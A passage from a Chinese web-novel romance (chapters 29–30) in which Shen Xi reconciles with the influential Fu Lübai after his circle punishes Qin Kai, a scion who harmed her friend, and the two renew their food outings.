“……”秦凯顿了下,不知道为什么这么问,却下意识地回想着。
叫、叫什么来着……
禹开然也没指望这被女色酒气熏染的猪脑子能留意到,一字一句的告诉他,“叫茜茜。”
满是女色酒气的混沌脑子在这一刻忽然间清明了起来。
那晚之后,圈内的人又有谁不知道,素来低调惯常不出席活动的傅先生,竟然罕见的来了个酒席,旁边还带着个顶灵的姑娘,就叫……茜茜。
秦凯脑子顿时嗡了一下。
“三哥向来讨厌这些事,要是平时他或许还可能睁一只眼闭一只眼,”禹开然居高临下,向来笑嘻嘻的脸上难得没了表情,便变得非常有压迫感,“可你惹茜茜不开心,你说——”
他话没说完,秦凯便反应过来,转身猛地冲着茜茜跪了下去,“茜茜小姐,对不起,您别生气我知道错了……”
他翻过来掉过去的道着歉,脸上是急迫的诚恳甚至是哀求。
沈晞的表情却异常冷静,甚至是奇怪的,直直地看着他,一字一句的问:“你跟我道什么歉?”
仅仅是因为,傅律白因她而动怒——或许谈不上这样的词,但在禹开然的描述中她姑且这样理解,而出手,所以便向她道歉,求饶么?
而将真正的受害者放在一旁,真正受到伤害的人似乎好像变得也不在那样重要。
她不知道自己应该是什么情绪,在听到禹开然口中三言两语间带过的傅律白,似乎好像对她很不一样,甚至堪称冲冠一怒为红颜的宠爱珍视。
她应当感到开心的,没有人会不被对人的看着而感到愉悦。
可她现在,却怎么也高兴不起来。
秦凯被问的一愣。
看着眉心微蹙的人,察觉到沈晞的不高兴,禹开然心里“啧”了声,顿时一个头两个大,怕人多说多错没把人安抚好,反而火上浇油,吓得他连外卖都不等了,又说了几句话将这话茬接过,便急匆匆的将人带走了。
29. 第 29 章
绕过GUHIJ暗道内的一个包厢里。
禹开然翘着个二郎腿坐在沙发上,终于吃上了从昨天晚上以来的第一顿饭,是GUHIJ后厨刚做的,GUHIJ前面是个清吧,但后面还有个仅圈内人知道的会馆,他们的销金窟,几乎提供一切可以玩的,自然有食物供应,并且直接对标米其林五星,连摆盘都精致讲究。
但禹开然吃的就没那么讲究了,甚至有些狼吞虎咽。
等他吃完,抽出两张纸巾擦了擦嘴,才有空搭理一直站着的人,往后一靠带着饭后的犯懒劲儿的问:“你是自己动手,还是我们来?”
秦凯从来到这里,就充满了浓浓的不安,这里正是他第一次带宁今雨来时的那个包厢,听到这句话紧绷的神经终于彻底崩了,呲目欲裂的看着他吼道:“你不能这么对我!”
说着就要冲过来,却被站在他旁边的人一左一右的控制住,禹开然则起身,看都没看他的走了出去。
包厢的门才关上,里面就传来一声压抑的像是被压制住的痛苦惨叫,饶是隔音无比好的重重后门,也没能隔绝。
禹开然则脚步没停的往外走着,遇到来玩的熟人,还笑着打了声招呼。
……
“傅先生,您这事办的是不是有点……”秦老坐在傅律白的对面,面色有些沉。
傅律白淡淡的押了口水,神色如常甚至带着几分宽慰道:“无妨,秦老贵人事忙难免有看管不到的地方,我恰好看到,出手帮忙教训教训也是应该的,秦老不用放在心上。”
“……”
他反而还成了好人,这天罡倒反一处真是让秦老开了眼,这次是真的气的他一口气差点没上来,手都有些发抖。
刚想说些什么,傅律白却淡淡地睨过来,唇齿微启,“不是么?”
他这话说的不轻不重,却有股举重若轻的味道,生生的砸进了秦老的心里,这下,秦老拿着茶杯的手是真的抖了一下,声音微紧的忙说着,“是,有劳傅先生了。”
傅律白轻笑了下,依旧是那副平易近人的好相与的样子,就好像刚刚那一下,只是秦老的错觉一样,说:“好说,客气了。”
-
沈晞在医院陪了两天,确定人已经没事,并且经过那天禹开然带人来医院弄出那样一出,大概率也不会再想不开,就去了公司。
毕竟,再怎么样,她也实习了这样久,总要把实习报告难道手,也好和小叔那里交差。
——至于小叔那边,她也决定就继续那样瞒着。
她最终还是选择了和傅律白的做法一样,并且打着配合做着帮凶,多少有些讽刺。
她嘴角不由勾起抹嘲讽的弧度,往前走着,去开发部送些资料。恰好遇到程开霁和助理大步流星的走过来,她微微侧到一边让路,规规矩矩的叫了声“程总。”
程开霁的脚步一顿,看着她的表情有些复杂。
而沈晞就那样站着,和后边又过来的人一起,带着同样的恭敬与生疏。
“……”
程开霁点了下头,便错身离开。
经过这些事,尤其是病房里禹开然那样的姿态,她没办法再心平气的像是之前那样的和他们相处。那样的姿态,会让她觉得她离他们的世界实在是太远了,远的让她感到可怕。会让她不由得想,是不是他们这些人,骨子里就是冷血的,那份从容淡定的背后,其实是不是只是因为没把人当人看,对着万事万物都带着股蔑视。
他们和秦凯真的有区别么?
都是这样的权权压迫。
直到后来她才知道,这就是他们的生存法则,他没办法的。
姜瑶那天说第二天就过来找她们,最终也没能过来,一回到家就被关了禁闭,甚至手机都没收了,就让她在房间里面壁思过,她绝食抗议都没得到半点成效。
就在她在房间里,悄悄吃着小零食的时候,姜父忽然敲门进来,吓得她直接呛到,边咳边匆忙的将没吃完的薯片袋子压到抱枕低下,快速的用手擦了擦自己的嘴巴。
“怎么咳成这样?”姜父走过来,拧着眉头问到。
到底就这么一个宝贝女儿,哪怕在气人,也还是真的关心。
姜瑶眨了眨,回过头来时忽然往沙发上一靠,扶着脑袋再无半点刚刚吃薯片时的活力,虚弱的说:“不知道,就是头晕,我大概是病了。”
姜父眉心皱的更紧了几分,刚要说什么,视线却在她嘴角上一顿,觑着她道:“装病之前你也是先把嘴擦干净,我就说怎么那么有骨气三天不吃饭,平时嚷嚷着减肥都没这个毅力,敢情是在偷吃。”
“……”姜瑶没想到漏了陷,赶紧又伸出手来抹了抹两边的嘴角,也不装了,两手抱着父亲的胳膊,赔笑的左右摇晃道:“我错了,我真的知道错了,你让我出去吧,我保证不惹祸了。”
“你在这擦手呢?你先把你拿满手油的爪子给我拿开,”姜父低头,看了眼自己挂在自己白衬衣上的手,嫌弃的说。
其实根本没有什么油,她吃的可小心了,都是垫着纸巾拿的,但还是讨巧的把手拿开,并且用手背顺了顺衬衣袖上被抓出来的微微褶皱。
认错态度非常的良好。
但姜父不吃她拍马屁这套,每次犯错都这样,早已免疫良好,睨着她问:“错哪儿了?”
“……”眼看着糊弄不过去,姜瑶也开始有点疲于反抗,噘着嘴说:“错在我不应该为朋友出头,错在我不应该匡扶正义,错在我不应该还有善恶是非。”
“你还挺不服气?”姜父声音不由的微扬,“你少在这跟我阴阳怪气,你倒是挺威风,你有没有想过你威风完之后会怎么样?”
“会怎么样!不过是和那些人闹翻,挡了你进升的路,还能怎么样!”姜瑶的情绪也开始控制不住,说到最后直接喊了出来。
其实她也并活的没那么快乐,圈内真的顶级大小姐瞧不上他们这种半路出家的,人家懒得搭理她,又时常碍于教养的和她讲话都阴阳怪气;
下面那些人,知道她是谁又全都巴结她,没一个真心,所以她也就只能全国飞着玩,自己和自己玩,这么多年,她也不过就茜茜和小雨两个朋友,凭什么她不能为朋友出头,凭什么她为朋友出头还要挨骂!
她真的受够了!
就像是一个快要爆炸的气球。
“姜瑶!”姜父比她还要爆炸,直接一巴掌拍顺手拍到了旁边的抱枕上,下面的薯片直接“嘎嘣”一声齐齐碎裂,“你自己听听你自己说的是什么话!我这样是为了谁?你以为我愿意天天跟人点头哈腰?我告诉你,你要是现在说一句,你不想再做姜家大小姐,不想再过大小姐的生活,我保证一句都不说你,我还得在你旁边,为你拍掌叫好,我家女儿多优秀,多正义!”
“……”姜瑶被这一下弄懵了,“我……”
“但是你可想好,”她的话还没说完,姜父便继续道,“你知道不做大小姐意味着什么吗?你会失去什么,又会面对什么?你可得仔细想好,这个时候别再脑袋一热,到时候可就没反悔得机会了,你接受得了么?”
姜父的表情竟然是出奇的平静,就那么看着她,可姜瑶却在这平静的目光中,嗓子发干的不由的吞咽了下,冷静了下来,开始后知后觉的感到歉意。
是的,她接受不了。
她知道一朝楼塌后、直接摔下来会摔得有多疼,她看到过的,这个圈子里从来不缺一夜间空中楼阁碎掉的事,甚至每一天都在发生。
她也知道,她爸爸这么做,真的都是为了她。哪怕最初是为了自己的壮志,想成就一番什么,但是拼了这么多年,其实也早就累了,他大可以停下来,可停下来也就以为着结束,很快就会被其他人顶下来,她连被大小姐们阴阳怪气的机会都没有。
“对不起,爸爸……”姜瑶嗫嚅着唇角,有点愧对看他的说到。
姜父轻叹了口气,直接站起身来,语气间带着几分疲惫和情绪未消强硬,“去换衣服吧。”
“!!!”
姜瑶瞪大了眼睛,这是对她失望透顶,彻底心寒,要直接把她扫地出门了?!
她顿时急了,都来不及站起来,直接跪坐在沙发上,抱着快要走的她老爸有些抱不住的后老腰,嗷的一嗓子带着哭腔的说:“爸爸我错了,我真的错了,我以后再也不乱出去我我我、我这就去看书,准备考试!”
姜父扒拉着那双差点把自己勒断过气的手,但是他好吃懒惰没一点长性的女儿在这一刻展现出了惊人的毅力,愣是没扒拉开,他一边继续扒拉着一边扭头,眉心都快能夹死苍蝇了,“你什么毛病,让你出去又不出了。”
“……”姜瑶干嚎,努力挤出的泪珠僵在眼睫上,看着他试探着问:“您让我出去了?只是……出去?我、还能回来?”
“我倒是想不让你回来,谁知道你能给我惹出多大的事,”姜父哼着,“赶紧去收拾,江太太想要见你。”
“江太太,找我?”姜瑶有些纳闷的问。
“说是想你了,刚好有个宴会叫我带上你,”姜父满是不乐意,“不然你以为我会放你出去?”
姜瑶噌的一下站起来,一口气跑到了衣帽间,生怕下一秒姜父就反悔。
宴会上,江太太拉着她的手聊着天,江太太喜欢女儿但奈何自己是个儿子,遇到姜瑶后一下子就喜欢上,每次遇到都要贴在一起聊聊,姜瑶人又灵嘴又甜,时不时逗得一众人哈哈大笑。
趁着人笑的功夫,姜瑶也去了下洗手间,好好地感受一下自由的味道,路过各种交谈走动的人她都觉得可爱,脸上都是带着愉快的笑的。
啊,这就是自由的味道。
外面的世界真快乐啊。
从卫生间出来,她就远远见到两个之前嘲笑她的小姐妹在咬耳朵,只不过咬得声音相当大,她在这都听见了!
姜瑶赶紧藏到一旁的柱子后面,努力伸着耳朵仔细听她们又在蛐蛐谁,抓她们的小把柄,让她们没脸见人。
“欸,你听说了么,秦家那个被送去澳洲了。”一身紫裙子的人讲。
“我听说了,秦凯么?他犯了什么事啊被发配到那么远?”黄裙子的问。
一般他们这种,不是早早就念国际学校出国留学真的学一番东西回来,就是去国外开拓国际市场,成为家族的主力,像秦凯这个年纪,当不当正不正的又不是去开拓市场,名其名曰的说是去读书,其实就是随便找个业绩学校,被当成家族弃子了。
如果不是能力超群,一般很难再杀回来,也就一辈子被丢在国外了。
“听说是惹了不该惹的人,秦老在这表态呢。”紫裙子说。
“秦老都得给这么大面子的人,那也没几个人啊,”黄裙子眨了眨眼,像是想到了什么,“是傅——”
紫裙子连忙伸出根手指来抵在唇上,制止住了她后面的话。
柱子后面的姜瑶也睁大了眼睛,还以为她们又在讲谁的坏话,没想到竟让她听到了更重要的。
她的小脑袋瓜疯狂转动着,没错没几个人能让韩老给这么大面子,那几个人里、秦凯最近犯得事里能和那几个连上的,也就是小雨的事了。
是傅先生。
姜瑶迫不及待的要将这个消息分享出去,小雨终于不要再担心了!
因为激动,她顺着另一个通道往回跑时,还不小心撞到了墙上挂的油画,发出“砰”的一声,她也没管那两个人是不是听到了,反正她在自己好好走路,是她们在路中间咬耳朵。
紫衣服不着痕迹的微微侧过身去,透过石雕回廊看着那蹦蹦跳跳粉色间断的身影,轻松了口气。
“……应该就是傅先生做的,茜茜这个傅先生人还蛮好的诶。”姜瑶站在后花园,抱着自己的小手机,说着自己听到和猜测的,边说还边环顾着四周,免得像刚刚那两个小姐妹一样被人听到,她才没那么蠢。
沈晞接到电话的时候,正忙得焦头烂额,庄姐才不管其他乱七八糟的事,人生目标就只有工作、工作,自己累死了也要把下属累死,反正工作不能在自己手里丢失,多干一点就是赚一点的原则,生生让沈晞没时间多想那些乱七八糟的事情。
听到姜瑶说起那个名字时,竟然有一瞬间的恍惚,其实他们也不过三四天没联系。
“茜茜,茜茜?你在听么?”听不到声音,姜瑶在那头问着。
“——我在听。”沈晞回过神来,轻声应着。
好在姜瑶并没有在继续那个人的话题,又兴奋的说:“小雨终于不用再害怕了,你告诉她一声哈,我刚刚没打通,估计在睡觉。我跟你说我可惨了,手机都被没收了,等会儿还得还回去……”
姜瑶又在那头霹雳吧啦的抱怨着,大概是她得父亲来叫人回去,才匆匆挂了电话。
她叽哩哇啦的声音骤然消失,又像是那种什么东西戛然而止的感觉,让沈晞怔了怔。
就在这时,手机忽地又进来了个消息。
她垂眸看下去,手指不由轻轻蜷缩了下。
是傅律白。
她以为她不会再收到他的消息。
消息的内容也很简单,说是有一家新开的酱蟹还算新鲜,问她要不要去吃。
其实内容和之前大差不差,他们总是会分享些食物,再约个时间去吃。
这样的内容会给人一种,什么都没变得错觉一样,但他们都知道不是。
沈晞轻眨了下眼,手指垂在屏幕上,还未在做出决定时,庄姐忽然暴躁的在不远处喊她,“茜茜——!哪儿呢?快过来。”
“——来了!”沈晞快速的将手机收起,向着庄姐喊的方向跑了过去。
-
某茶室包厢里。
傅律白坐在临窗的金丝楠木座椅里,窗外仿古庭院高低错落,乳白色的铃兰开的正旺盛,优雅弯曲的花梗在油绿的叶子上伸出。
傅律白并未看窗外,只淡淡看了眼手机,过了几秒抬眸淡声问:“消息传出去了?”
“传出去了,那人特地看着人给茜茜打的电话。”禹开然说。
傅律白听完,便又不再讲话,转而将视线看到窗外。
忽然有一阵风拂过,铃兰花在风中飞舞,竟让人有种春日飘雪的错觉,平添了几分清冷宁静。
也显得人越发的清远疏冷。
连程开霁心里都有些不好受,之前多好啊,上次在公司见着跟不认识他一样,这段时间都白一起玩了。
平时看上去挺闹腾但其实有着这个年纪少有的分寸的小姑娘,没想到心这么狠。
禹开然是个人精,可审时度势,一看三哥这样,故意放轻松了语调,又不刻意的说:“暧,小姑娘嘛,哄哄就好了。”
傅律白也没说话,只淡淡地看过来,不知是不是禹开然的错觉,眼神竟然有种“你说的倒是轻松”的意思。
只不过再仔细看,又好像什么都没有。
不过看过来,就是代表有意思听听的意思,于是他忙说着,“我去把人请来。”
傅律白眸色很深,让人看不清里面的情绪,有好几次他都想说‘算了’,可最后还是眉梢微扬,“你请?”
似是不信能将人叫过来,又有那么点好奇,用什么方法。
不愧是几代人都鞍前马后陪着傅家人的,禹开然还真的挺有想法。
和往常约着出来玩一样,邀请人参加自己的生日宴。
沈晞其实有些尴尬,她没办法像他们一样从容,每次都像是什么都没发生过一样,她发现他们、哪怕只是傅律白身边的人都有这样的本事。
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不知道这是不是也是上流社会无师自通的东西,又或者……他们早就习惯人来人往睁一只眼闭一只眼,当没发生过,一切事就变得好说。
可沈晞没这样的本领,她几乎下意识地想要拒绝。
真心不是一路人。
看出她的沉默,禹开然又说:“咱们之前玩的多好啊,我生日你怎么能不来呢。”
他拿出些大少爷那套不讲道理的劲儿,但却并不让人讨厌,说完还不忘带着些埋怨和委屈的指控她,“我们怎么会和秦凯那种人一样,哪儿就不把人当人了?我可真是太难过了。”
时不时有行人走过,禹开然其实也挺有分寸的,每次叫她出来,如果是大半夜忽然抽风仗着外面人少会将车直接停在校门口,平时叫她出来玩也都是让她多走个路口,在一旁的咖啡店里等她。
每次还和她吐槽,说茜茜,你这生活也太惨了。
他说的一脸同情和认真,让沈晞不由得“啊?”了声。
禹开然拧着眉,“这里的咖啡也忒难喝,你平时过得都什么日子啊?”
想到这,沈晞不由得心软,又忍不想,这是他自己注意到这些细节,还是那个人的叮嘱。
“你跟你道歉成吧?”沈晞赶紧止住自己的心思,想到以前,带着些时过境迁中的暖意无奈笑道。
“不成,哪有你这么道歉的。”禹开然耍起了无赖,“你来我生日宴,我才觉得你是真心诚意。”
禹开然很会用指责人再给人压力这招,相比于傅律白就君子太多,沈晞只得答应。
看着面前带着无赖笑意的人,她确实很容易想到那些个一起愉快玩乐的日子,那时,她是真的很把他当朋友。
她也很把傅律白当朋友,可他真的让她很难过。
-
生日宴就在三天后。
是让禹开然的司机来的,他自己得在那边接待朋友脱不开身,大概是怕她不来,左一个电话右一个电话的打过来。
“成成成……”
“你怎么回事啊?那你得催你家司机啊。”
沈晞最后被打的有点烦,禹开然听出来在那边陪着笑,“这不是怕你迷路么,难得茜茜小姐给我面子肯过来。”
沈晞哼哼冷笑了两声,那边才挂了电话。
但转头在看到站在身后,正眸色淡淡看着他的三哥时,脸上还未来得及撤下去的笑意就僵住了,他忙说着,“那什么,茜茜这就到了。”
傅律白轻抬了抬眼睑,算是应了,没说话,也看不出喜怒来。
禹开然心里有点发紧,觉得这自己虽然解决了人的心中事,但是否又太过献欠儿了没把握好那个度,人家两个人他在这中间插一脚,虽然他只是想推一把,但这就得看怎么想了。
刚想说些什么,傅律白便被过来祝寿的人叫住抬步走了过去,也没再看他。
弄得禹开然更是头大。
那几个小年轻也算是有规矩,但见着三哥总是会话多一些,傅律白时不时地点头应着一两声,而心里想的却是——
她也不是谁的电话都不接,还能和人有说有笑。
生日宴在一个私人会馆里,才到门口便感受到了那份金银财器,大概是因她已知晓便彻底不装,完完全全的展示在她眼前,不知这是否也算是一种坦诚。
还未怎么站稳,禹开然便一段小跑的迎过来,里面已经坐满了人,有些是她一起跟着玩过的,有些不太认识,傅律白就端坐在圆桌的那头,门开时,便淡淡地看向她,有种等待已久又有种等她上门的感觉。
你看,不愧是傅先生,他想见个谁,便有人去叫有人去请,而他只需要静坐在那里,便有人为他鞍前马后。
这样子的人,又怎么会轻易生气,又怎么会不清雅矜贵。
沈晞觉得自己很矛盾,或许大多数人也都有种同样的矛盾,喜欢那个人身上的矜贵清雅的气质,可又接受不了形成他这样气质性格下的深层原因。
他在这里,她也并不意外,或者说在答应禹开然过来时,刻意的没有去想他会不会来。
察觉到她脚步微顿,禹开然半拉半揽着她的胳膊,把人往前面引,“来来,给你留好位置了。”
沈晞顺着他引的方向看去,唯剩一个位置,在傅律白旁边。
她站着没动,手扶了下身边邻近门口的空椅子,“不用,就这儿挺好,方便。”
“欸,这是菜道哪儿行啊,等会把你裙子都得弄脏了。”她这话说的理由充足,又给足了面子,禹开然就只好也开玩笑道,“到时候还得让我赔。”
“放心,不用你赔,就这。”她说的坚定,又不容置喙,一双玻璃珠般的透亮眸子浅浅笑着,却又直白且冷静。
傅律白淡淡地看过来,沈晞也没躲,两个人的视线就在空中撞到了一起。
空气有一瞬间的凝固。
最终傅律白侧头晒笑了下,有那么点无奈又有几分随她就这样吧的意思。
禹开然“唉”了声,放开她,“那就先在这儿哈,不喜欢了再过去。”
不过沈晞整场都没有“不喜欢”,大抵是有傅律白在,那些人都有些收敛,其实傅律白并不是放不开的人,他大多数都是松弛的,有时兴致起来也会轻靠椅背上,眼尾微挑端出几分公子哥的浪荡与风流来,只不过他大多数只是那样端坐着,会平添给人些压力,却又不是他的错,只是别人怕惊扰冒犯了他。
那是种无关身份地位,只要他在那里,不认识的人,也会下意识敛声。
期间,她也会时不时的,在余光碰触到傅律白那个方向时,再次以一个十分冷静的局外人的视角去看他。端坐在那里,旁边人不知和他讲些什么,他大多都在听着,间或简短的搭上两句,依旧的清冷矜贵斯文雅致,和她第一次见他时感觉一样,又没那么一样。
那多出来的距离感,不是脚步得以丈量的。
在要开第二场时,她再也待不住的和禹开然辞行。
禹开然本想留人,但看着三哥的样子,又有些摸不清态度,也就在这短暂的迟疑踌躇间,沈晞便已经冲他笑笑,下了最后通知,“行了,先走了,生日快乐。”
“……”
然后在禹开然唇齿微张,拿着包走了。
等他在反应过来,下意识去看三哥时,却发现人早已不在座位上,事发的突然,刚刚沈晞都没给他去看三哥的机会,便已经下了最后通知,也不知道三哥是早就不在,还是跟着出去的。
禹开然看着傅律白的座位,目光有些发深。
让他有些措不及防,都忘了叫人再将沈晞送回去。
沈晞也并没有什么车接车送的习惯,都没想到这个点,自顾自地从走出门开始便拿手机叫着车,不过这个地有点偏,等走出会馆大门时,才有辆顺风车来接。
看着距离她这边还有个十几分钟。
也就是这时,熟悉的檀香淡淡传入鼻息,耳边才响起很轻的脚步声,没两声又停下来,停在自己两步外。
他走路真的好轻。
沈晞没动,却感觉周身都被他的气息所包裹,甚至都能感觉靠近他那侧的空气随着他的到来,而微微升高,热浪烘着她垂在身侧的手,让她的手不由的蜷缩了下,甚至慢慢地开始有些不受抑制的发抖。
但她的脸色仍旧如常,淡淡看向前方,像是不知道身旁来了人一样。
也不知这样站了多久,或许她的胳膊真的开始已经发抖,她有些担心被他看出来。
就在这时,身旁的男人忽然微微侧过头来。
看着她。
脸上带着几分拿她没办法的浅笑,声音是惯有的低沉温淡,如清泉撞石,“我们茜茜是真不打算理我了?”
听得沈晞心口莫名微酸,眼眶差点就红了。
30. 第 30 章
沈晞没想过他会开口,甚至在他跟过来时都有意的放空自己,没有让自己去想他过来的原因和目的。她原本以为,那两次主动对于他这样清淡性子的人本就已是极限,更何况他本就天潢贵胄高不可攀,大概从没被人、也没人敢这样对待过。
还要他怎么样呢。
所以他才一开口,沈晞便已经控制不住,软了下来。
“你不也没理我么。”她侧过头来,还带着些小脾气的,倒打一耙。
“……”傅律白单边眉梢微微压了压,带着几分询问和几分怎么可以这样黑白颠倒的忍俊不禁。
沈晞理直气壮,又带着小女儿般独有的骄纵,“你就不会多找两次么?”
傅律白直直地看着她,他和人接触,以及接触的人,大多都喜欢点到即止,给出点信息来,便大多都明白了那个意思,不会再继续怎么样的,以防彼此尴尬,之后还能大大方方的见面亦或是合作。
所以在第一通电话没接时,他便已经觉得,这便是沈晞的意思。
第二次发消息过去,已经算是特例。
没想到还真像禹开然说的那样。
沈晞被他看的有些不自在,又有些心虚,在他面前,她时常会有种,自己在放肆僭越的感觉。
随着傅律白静静地看着她时间的拉长,而越发显得这句话有些好笑,正在后悔时,却听傅律白带着几分笑意的开了口,“以后知道了。”
沈晞愣了下,有些茫然的问:“知道什么?”
傅律白深深地看了她一眼,有些意味深长道:“小姑娘是需要哄的。”
“……”沈晞的脸一下子炸红,想问“谁是小姑娘”又想说“谁要哄”,这句话怎么听都有点调侃,甚至调……戏。
但话到了嘴边又问不出口,人家说的好像是实话,就在她表情异彩纷呈想理论又无理,情绪不上不下僵在哪里时,手上忽然一沉。
她下意识地垂眸,就见一张表面微旧,带着年岁感的黑胶唱片躺在自己手上。沈晞的眼睛骤然亮了起来,带着几分兴奋的看着他,“你真的找到了!”
“和人道歉,总要有些诚意。”傅律白看着她终于肯笑的眼,不紧不慢的说。
是莫文蔚的那首《初恋》,在电影《食神》里随意哼唱了几句,听着特别有感觉,但也可惜在没有唱全仅那么一小段,后来再重新录制发行已经是过了小二十年后,大概是时过境迁心境早已不同,就算是同一个人唱也再唱不出当时的感觉。
有的事可能只有那么一次,过了也就过了。
她觉得可惜,却也只能听当年的,不过音质到底受了损,也有着时间的痕迹。有一次她无意间知道,当年这段哼唱其实也被收录过黑胶唱片里过,只不过数量极少,只做个人收藏用的。
她尝试找过,但是没找到,也不再抱什么希望。那日他们刚从隐藏在小巷的宝藏餐厅里大享了一顿饕餮盛宴后往回走,路过省体育场时有些拥堵,一问才知道是有人在开演唱会,她才顺口提及此事。
他当时也只说试试看,没想到还真让他找到了。
因兴奋,她向来明亮圆润的眼睛越发的漆黑,映着点点星光,随着动作眼尾小浮动的上扬着勾勒出小小弧度的卧蚕,连嘴角都是上扬的弧度。
一改这几日来的闷闷不乐,一瞬间如千树万树梨花开在月光下,璀璨美好的让人移不开眼,也让人心情跟着愉快。
傅律白听着自己心里,也有朵花骤然盛放,随着她浅笑的弧度而层层叠叠的繁茂。
他眸色微顿,像是意识到什么,看着她的目光越发的深,像是在确定,又像是有些不可置信。
沈晞盯着手中唱片看了半天,里面还收录了五首那个年代同样很火的歌曲,周围一圈虽然有些旧了但看得出收藏的人保护的很好,应该是很爱惜的——
想到这,她的视线一顿忽然想到什么。
人家这么爱惜的东西,怎么就转手了?
她的情绪有些复杂,下意识抬眸看向面前的男人,没想到却和一双深深的视线撞到了一起。
她从未从傅律白眼中看到过这样深的情绪过,让她不由的一愣。
傅律白也没想到她会突然抬头,眼睑微垂,下一秒又抬起,便已经恢复如常,不知道是不是沈晞的错觉,她觉得看她的眼神似乎变得有些不一样,好像更加的柔软,还没等她细查,便听他声音温淡的问:“怎么了?”
沈晞这才想起正事来,表情有些复杂的看着他,半是玩笑半是不确定的问:“傅律白,这不会是你从人家手里抢来的吧?”
“……”沈晞看到,傅律白这次是真的笑了,有点呛到的那种,半拖着调子有些无奈的问,“你把我当什么人了?”
沈晞又换了种措辞,重新问:“那是,你让人、嗯,别人主动替你从其他人手里抢来的?”
毕竟只要傅先生想,哪怕只是要见个人,都会有无数人鞍前马后争先恐后的要为他做。
“……”傅律白轻垂了下眼睑,唇角轻勾了下,却又看不轻里面的情绪。下一秒,再抬眸看她时,眉眼间有些认真的说:“茜茜,我不做那些事。”
像是保证,又像是解释,但无论是什么,都让沈晞的心放回了肚子里。
“……哦”她慢吞吞的应了声,又想到了什么,带着点故意找茬的玩笑看着他,“看来只有道歉才会帮我认真找。”
“……”傅律白的神情也很鲜活,是少见的怔然而后哭笑不得,“一直在找,只是恰巧到。”
是真的赶巧了,来得也恰到好处,挺有用。
沈晞扬着下巴不紧不慢带着几分不讲理道:“那本来就应该给我的,又哪里算你的诚意?”
“……”傅律白低头轻笑了下,像是没想到还能这样,又问,“那茜茜还想要什么?”
沈晞半拖着调子轻飘飘的说:“自己想,我说了就跟我和你要一样,那和你的诚意有什么关系,还是说——”
她的视线往他脸上勾了下,傅律白及时打断她,他已经有些弄明白她的脑回路,估计下一句就会反问他一句,“你是不是根本没有诚意。”
很有趣又很新鲜,还没有什么敢人和他这样讨价还价步步紧逼过。
“确实应该我自己想。”傅律白为自己的言失表达着歉意,但紧接着,又看着她漫不经心地说:“茜茜当真学错了专业。”
沈晞不知道话题怎么忽然转到了这里,选专业这事,确实不怎么开心。后母怕她留在公司争夺财产,处处防着她,为了降低她的防备也就选了个彻底南辕北辙的纯文科,连商管类的都没碰,生怕后母会觉得日后她还是会回来。
她家那个公司是纯技术公司,虽然她理工科很差,但当时要是有的选,她也确实不会选个纯文科语言类的,她可能更喜欢一些个管理类。
“那我应该选什么?”她眼睑微垂,又带着几分期待的下意识问。
“商管。”
沈晞的心重重一跳,又带着几分意外的看着他,“为什么?”
傅律白轻睨着她,声音是夜晚独有的微微懒散,“因为茜茜很明确自己的利益,怎么都不忘,还据理力争一步不退,一定会是个成功的商人。”
“……”
沈晞愣了下,反应了过来,没想到他是再说这个,过了几秒却又忍不住笑,也睨着他。
现在的氛围实在是太好了,是这几日难得的好。
傅律白看着她的目光有些深,轻滑动了下喉咙,“送你回去。”
“我叫了车,”沈晞看着他,声音和眼神都有点发飘,也不知是想叫他送还是不想,她自己也不清楚,是在实事求是,还是在让他想办法,“让司机白跑一趟,要骂人的。”
恰巧这时,一辆白色SUV从远处划过,停到了他们面前。车窗降下来,司机探出头来念着沈晞的手机尾号确认。
“……”沈晞张了张嘴,没想到车这么快就到了。
刚刚看明明还有十几分钟,也不知道是他们聊了太久,还是司机抄了什么近路,他们有聊这么多么?
这不是重点,在司机的注视中沈晞赶紧让自己的注意力集中一点。
她有些迟疑的,不知道是坐进去还是让司机暗地里骂一顿。
傅律白却已经替她做好了决定,直接拉开了她面前后座的门,沈晞在怔愣中坐了进去,看着外面的人说不好自己的情绪,有点空空的,就像是热闹后的骤然冷清,总之不如刚刚高兴。
就在这时,外面的人忽然转身,连个招呼都没打,沈晞嘴微张,却见人绕了半圈拉开了另一侧的门,坐了进来。
沈晞怔愣又茫然的看着他。
“让师傅再多接一单,总会感激你。”傅律白凑近,用着只有两个人听到的声音小声说。
他是在说“师傅会骂人”的这件事。
那股明明很冷淡的雾凇味随着他的靠近氤氲在她周围,将她彻底包裹住,竟然暖呼呼的,沈晞看着近在咫尺的人,莫名有种想要抱一下她的冲动,但她最终只轻吞咽了下喉咙,可脸上的笑意却忍不住。
不远处,看着傅律白上了另一辆车走了的田师傅:“?”
没过两分钟,田师傅手机响了下,是条消息。
[傅先生]:没你事了,今天提前下班
不知道为什么,明明只是条文字信息,但田师傅莫名觉得傅先生心情似乎很好,于是他也心情愉快的提前下了班。
“这周六日你有什么安排么?我们去吃酱蟹吧。”车上,沈晞忽然说。
傅律白目光微顿,看着她的目光有些深。
沈晞有些不好意思,在他开口前就补上了一句,“你要赖账啊?”
就这样很硬气的把之前的事情闲篇,又无缝衔接了起来,处理的很风风火火,避免了很大程度上的尴尬。
傅律白越来越觉得她有意思。
轻笑了下,说:“行。”
又觉得,她真的很好,并没有因为他是谁,而改变了心态和相处模式。
酱蟹就在公司附近,不愧是新开的,人满为患,大概也只有傅律白提前约了,才能有位置。但沈晞坐在里面,总有种做贼心虚的感觉,生怕忽然进来个加班的同事。
傅律白顺着她偷偷摸摸往外看的视线看过去,只有来来往往路过的人,没看到什么特别,“看什么呢?”
“啊?”沈晞被吓了一跳,才回过神来,“没什么。”
这样傅律白反应过来,看着她跟做贼似的样子,说:“要不换个地方。”
“不,就这。”沈晞不乐意了,因为要痛失酱蟹心里也硬气了,“我吃个酱蟹还犯法么。”
“……”傅律白愣了下,唇角勾起个弧度来,“我是说换去包厢。”
她可能会自在点。
沈晞有些惊讶,“这有么?”
这种CBD附近的偏向美食店的,怎么看也不像有包厢的啊。
傅律白说:“可以有。”
他就这样淡淡的样子,换成别人一定会觉得太装逼了,但在他身上就觉得好合理,而且人家已经足够的低调。
沈晞想了下,还是说:“算了吧,太麻烦了。”
何必兴师动众。
说完又怕傅律白觉得她勉强,仰着下巴很拽的说了句,“我在这跟你吃饭又不犯法。”
傅律白又不自觉被她逗笑,“是不犯法。”
但也确实自己考虑不周,没注意到这个地点,办公室恋情什么的确实会有些麻烦,虽然他们并不是。
想到这,傅律白喝水的动作一顿,忽而又问:“只要不犯法的事就敢做了?”
沈晞咬了口酱蟹,很鲜很肥也不会很鲜,不知道他
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为什么会这么问,只说:“那得看是什么事,就跟你吃饭这种事,那还是很敢的。”
